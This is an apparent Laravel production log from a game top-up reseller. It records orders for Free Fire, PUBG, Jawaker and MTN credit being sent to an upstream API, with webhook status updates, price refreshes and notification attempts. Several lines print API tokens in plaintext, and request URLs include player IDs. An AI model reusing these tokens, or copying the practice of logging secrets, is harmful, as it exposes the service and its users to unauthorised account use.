[2026-03-24 15:26:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=c5d66d20-d924-4fc5-80a0-6e4ac12dddd9&Player_ID=14391740079","has_body":false} 
[2026-03-24 15:26:37] production.INFO: Operation sent successfully {"operation_id":163756,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7094nT-1774355197","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:26:37"}},"processed_data":{"order_number":"ORD-7094nT-1774355197","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:27:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7094nT-1774355197","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:27:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-7094nT-1774355197","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:27:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:27:06] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":178839} 
[2026-03-24 15:27:06] production.INFO: Order updated successfully. Order ID: 178839, Status: completed  
[2026-03-24 15:27:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7094nT-1774355197","status":"completed","codes_count":0} 
[2026-03-24 15:27:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 15:27:54] production.INFO: Constructing job for order: 178840  
[2026-03-24 15:27:54] production.INFO: Constructing job for order: 178841  
[2026-03-24 15:27:55] production.INFO: Handling job for order: 178840  
[2026-03-24 15:27:55] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:27:55] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:27:55] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=75000&uuid=430b1aff-b43a-4484-8446-3231361bc1de&Player_ID=3270271  
[2026-03-24 15:27:55] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=75000&uuid=430b1aff-b43a-4484-8446-3231361bc1de&Player_ID=3270271","has_body":false} 
[2026-03-24 15:27:56] production.INFO: Operation sent successfully {"operation_id":163757,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MLPHPI-1774355276","amount":5.615520000000000067075234255753457546234130859375,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 15:27:56"}},"processed_data":{"order_number":"ORD-MLPHPI-1774355276","amount":5.615520000000000067075234255753457546234130859375,"status":"processing","product":"Tami Amount","game":"Tami"}} 
[2026-03-24 15:27:56] production.INFO: Handling job for order: 178841  
[2026-03-24 15:27:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:27:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:27:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=358dc57c-e19b-480d-906e-cdf87d378f2e&Player_ID=52444263500  
[2026-03-24 15:27:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=358dc57c-e19b-480d-906e-cdf87d378f2e&Player_ID=52444263500","has_body":false} 
[2026-03-24 15:27:57] production.INFO: Operation sent successfully {"operation_id":163758,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-14p-1774355276","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:27:57"}},"processed_data":{"order_number":"ORD-14p-1774355276","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:28:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03"} 
[2026-03-24 15:28:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","total_operations":2,"sites_count":1} 
[2026-03-24 15:28:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-MLPHPI-1774355276","ORD-14p-1774355276"]} 
[2026-03-24 15:28:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 15:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 15:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-14p-1774355276","operation_id":163758} 
[2026-03-24 15:28:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MLPHPI-1774355276","operation_id":163757} 
[2026-03-24 15:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MLPHPI-1774355276","operation_id":163757,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 15:28:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MLPHPI-1774355276","operation_id":163757,"processed":0,"errors":0} 
[2026-03-24 15:28:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ycpCxhZBcdf3Fqp9UK4ahXtckz1GB39g","execution_time":"2026-03-24 15:28:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-MLPHPI-1774355276","operation_id":163757} 
[2026-03-24 15:28:06] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-14p-1774355276","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:28:06] production.INFO: Processed webhook data (normalized) {"id":"ORD-14p-1774355276","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:28:06] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:28:06] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":178841} 
[2026-03-24 15:28:06] production.INFO: Order updated successfully. Order ID: 178841, Status: completed  
[2026-03-24 15:28:06] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-14p-1774355276","status":"completed","codes_count":0} 
[2026-03-24 15:28:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 15:28:30] production.INFO: Constructing job for order: 178842  
[2026-03-24 15:28:33] production.INFO: Handling job for order: 178842  
[2026-03-24 15:28:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:28:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:28:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=f7326235-bd70-46a9-832e-5b3d01188acc&Player_ID=3004364223  
[2026-03-24 15:28:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=f7326235-bd70-46a9-832e-5b3d01188acc&Player_ID=3004364223","has_body":false} 
[2026-03-24 15:28:34] production.INFO: Operation sent successfully {"operation_id":163759,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-52348PB-1774355313","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:28:34"}},"processed_data":{"order_number":"ORD-52348PB-1774355313","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:28:49] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-52348PB-1774355313","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:28:49] production.INFO: Processed webhook data (normalized) {"id":"ORD-52348PB-1774355313","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:28:49] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:28:49] production.INFO: SendAcceptReject: Notification queued {"user_id":62,"notification_type":"order_approved","reference_id":178842} 
[2026-03-24 15:28:49] production.INFO: Order updated successfully. Order ID: 178842, Status: completed  
[2026-03-24 15:28:49] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-52348PB-1774355313","status":"completed","codes_count":0} 
[2026-03-24 15:28:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 62  
[2026-03-24 15:29:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MLPHPI-1774355276","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:29:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-MLPHPI-1774355276","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:29:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:29:07] production.INFO: SendAcceptReject: Notification queued {"user_id":1461,"notification_type":"order_approved","reference_id":178840} 
[2026-03-24 15:29:07] production.INFO: Order updated successfully. Order ID: 178840, Status: completed  
[2026-03-24 15:29:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MLPHPI-1774355276","status":"completed","codes_count":0} 
[2026-03-24 15:29:09] production.INFO: Constructing job for order: 178843  
[2026-03-24 15:29:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1461  
[2026-03-24 15:29:10] production.INFO: Handling job for order: 178843  
[2026-03-24 15:29:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:29:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:29:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=82c44c1c-2eef-42ab-9bb0-770b5c00bc22&Player_ID=52444263500  
[2026-03-24 15:29:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=82c44c1c-2eef-42ab-9bb0-770b5c00bc22&Player_ID=52444263500","has_body":false} 
[2026-03-24 15:29:11] production.INFO: Operation sent successfully {"operation_id":163760,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OlTOA-1774355350","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 15:29:11"}},"processed_data":{"order_number":"ORD-OlTOA-1774355350","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 15:29:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OlTOA-1774355350","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:29:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-OlTOA-1774355350","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:29:22] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:29:22] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":178843} 
[2026-03-24 15:29:22] production.INFO: Order updated successfully. Order ID: 178843, Status: completed  
[2026-03-24 15:29:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OlTOA-1774355350","status":"completed","codes_count":0} 
[2026-03-24 15:29:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 15:30:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"i4ScgAsBKNjpVH4tKewigVUPh5rY45QD","execution_time":"2026-03-24 15:30:03"} 
[2026-03-24 15:30:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"i4ScgAsBKNjpVH4tKewigVUPh5rY45QD","execution_time":"2026-03-24 15:30:03"} 
[2026-03-24 15:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 15:30:05] production.INFO: async() رجع: true  
[2026-03-24 15:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:30:42] production.INFO: Constructing job for order: 178844  
[2026-03-24 15:30:43] production.INFO: Handling job for order: 178844  
[2026-03-24 15:30:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:30:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:30:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/109/params?qty=30000&uuid=96c7eaab-02a1-4fa2-ab5a-10dd273f1d82&Player_ID=1859163633  
[2026-03-24 15:30:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/109/params?qty=30000&uuid=96c7eaab-02a1-4fa2-ab5a-10dd273f1d82&Player_ID=1859163633","has_body":false} 
[2026-03-24 15:30:44] production.INFO: Operation sent successfully {"operation_id":163761,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9Hm-1774355444","amount":3.37680000000000024584778657299466431140899658203125,"status":"processing","product":"Tokens Amount","game":"Jawaker","notes":[],"created_at":"2026-03-24 15:30:44"}},"processed_data":{"order_number":"ORD-9Hm-1774355444","amount":3.37680000000000024584778657299466431140899658203125,"status":"processing","product":"Tokens Amount","game":"Jawaker"}} 
[2026-03-24 15:30:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9Hm-1774355444","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 15:30:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-9Hm-1774355444","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 15:30:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:30:52] production.INFO: SendAcceptReject: Notification queued {"user_id":302,"notification_type":"order_approved","reference_id":178844} 
[2026-03-24 15:30:52] production.INFO: Order updated successfully. Order ID: 178844, Status: completed  
[2026-03-24 15:30:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9Hm-1774355444","status":"completed","codes_count":0} 
[2026-03-24 15:30:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 15:32:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"5zPFdg40U1mIpFN6ml2V2aICMhbaJryt","execution_time":"2026-03-24 15:32:02"} 
[2026-03-24 15:32:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"5zPFdg40U1mIpFN6ml2V2aICMhbaJryt","execution_time":"2026-03-24 15:32:02"} 
[2026-03-24 15:33:26] production.INFO: Constructing job for order: 178845  
[2026-03-24 15:33:29] production.INFO: Handling job for order: 178845  
[2026-03-24 15:33:29] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 15:33:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:33:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=90d0da8b-4b7b-4142-a45b-a5e52b8d4067&Player_ID=0962014573  
[2026-03-24 15:33:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/5/params?qty=1&uuid=90d0da8b-4b7b-4142-a45b-a5e52b8d4067&Player_ID=0962014573","has_body":false} 
[2026-03-24 15:33:30] production.INFO: Operation sent successfully {"operation_id":163762,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xgTF-1774355610","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 15:33:30"}},"processed_data":{"order_number":"ORD-xgTF-1774355610","amount":21.106719999999999259898686432279646396636962890625,"status":"processing","product":"20 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 15:34:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03"} 
[2026-03-24 15:34:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","total_operations":1,"sites_count":1} 
[2026-03-24 15:34:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-xgTF-1774355610"]} 
[2026-03-24 15:34:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:34:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:34:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762} 
[2026-03-24 15:34:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 15:34:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"processed":0,"errors":0} 
[2026-03-24 15:34:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"EW2lU8lERGqZMLNtuBXXoaWxBUBgXeor","execution_time":"2026-03-24 15:34:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762} 
[2026-03-24 15:34:10] production.INFO: SendAcceptReject: Notification queued {"user_id":1747,"notification_type":"order_approved","reference_id":178838} 
[2026-03-24 15:34:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1747  
[2026-03-24 15:34:21] production.INFO: Constructing job for order: 178846  
[2026-03-24 15:34:24] production.INFO: Handling job for order: 178846  
[2026-03-24 15:34:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 15:34:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 15:34:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=70ba802e-9ae7-4f78-b6ab-da9074d6174b&Player_ID=9984159749  
[2026-03-24 15:34:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=70ba802e-9ae7-4f78-b6ab-da9074d6174b&Player_ID=9984159749","has_body":false} 
[2026-03-24 15:34:25] production.INFO: Operation sent successfully {"operation_id":163763,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7ia-1774355665","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 15:34:25"}},"processed_data":{"order_number":"ORD-7ia-1774355665","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 15:34:58] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7ia-1774355665","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 15:34:58] production.INFO: Processed webhook data (normalized) {"id":"ORD-7ia-1774355665","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 15:34:58] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 15:34:58] production.INFO: SendAcceptReject: Notification queued {"user_id":24,"notification_type":"order_approved","reference_id":178846} 
[2026-03-24 15:34:58] production.INFO: Order updated successfully. Order ID: 178846, Status: completed  
[2026-03-24 15:34:58] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7ia-1774355665","status":"completed","codes_count":0} 
[2026-03-24 15:34:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 24  
[2026-03-24 15:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 15:35:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 15:35:01] production.INFO: Executing GetProducts task...  
[2026-03-24 15:35:03] production.INFO: async() رجع: true  
[2026-03-24 15:35:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 15:35:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 15:35:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 15:35:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 15:35:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 15:35:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 15:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02"} 
[2026-03-24 15:36:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","total_operations":1,"sites_count":1} 
[2026-03-24 15:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-xgTF-1774355610"]} 
[2026-03-24 15:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 15:36:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 15:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 15:36:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 15:36:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"count":1} 
[2026-03-24 15:36:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"count":1} 
[2026-03-24 15:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"user_id":1074,"notification_type":"order_approved","reference_id":178845} 
[2026-03-24 15:36:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 15:36:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 15:36:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"processed":1,"errors":0} 
[2026-03-24 15:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762,"processed":1,"errors":0} 
[2026-03-24 15:36:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"AIDAi8Yt0Cwg5hexCiypj3H6TYVa1ht8","execution_time":"2026-03-24 15:36:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xgTF-1774355610","operation_id":163762} 
[2026-03-24 15:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 15:37:05] production.INFO: Constructing job for order: 178847  
[2026-03-24 15:37:08] production.INFO: Handling job for order: 178847  
